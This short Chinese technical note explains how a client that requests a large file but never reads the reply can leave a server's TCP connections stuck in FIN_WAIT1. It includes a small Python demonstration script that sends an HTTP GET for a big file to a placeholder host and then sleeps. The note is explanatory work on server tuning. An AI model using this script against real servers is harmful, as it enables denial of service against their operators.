refs:
http://blog.csdn.net/bytxl/article/details/46544169
假设服务端上有一个大文件,攻击者连接服务端发起请求,但是却不接收数据,于是乎就造成一种现象:客户端接收队列满,导致服务端不得不通过「zero window probes」来循环检测客户端是否有可用空间,以至于 tcp_orphan_retries 也没有用,因为服务端活活被憋死了,发不出 FIN 来,从而永远卡在 FIN_WAIT1。演示代码如下:
#!/usr/bin/env python import socket import time host = 'www.domain.com' port = 80 path = '/a/big/file' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port))
str="GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" % (path, host); print(str);
#Python 3.5 cannot directly pass string. #It needs to be passed in to the bytes-like object, and you need to use the string encode() method sock.send(str.encode(encoding='utf_8', errors='strict'))
time.sleep(1000)
说明:通常文件大小以 100K 为佳,具体取决于 tcp_rmem / tcp_wmem 的大小。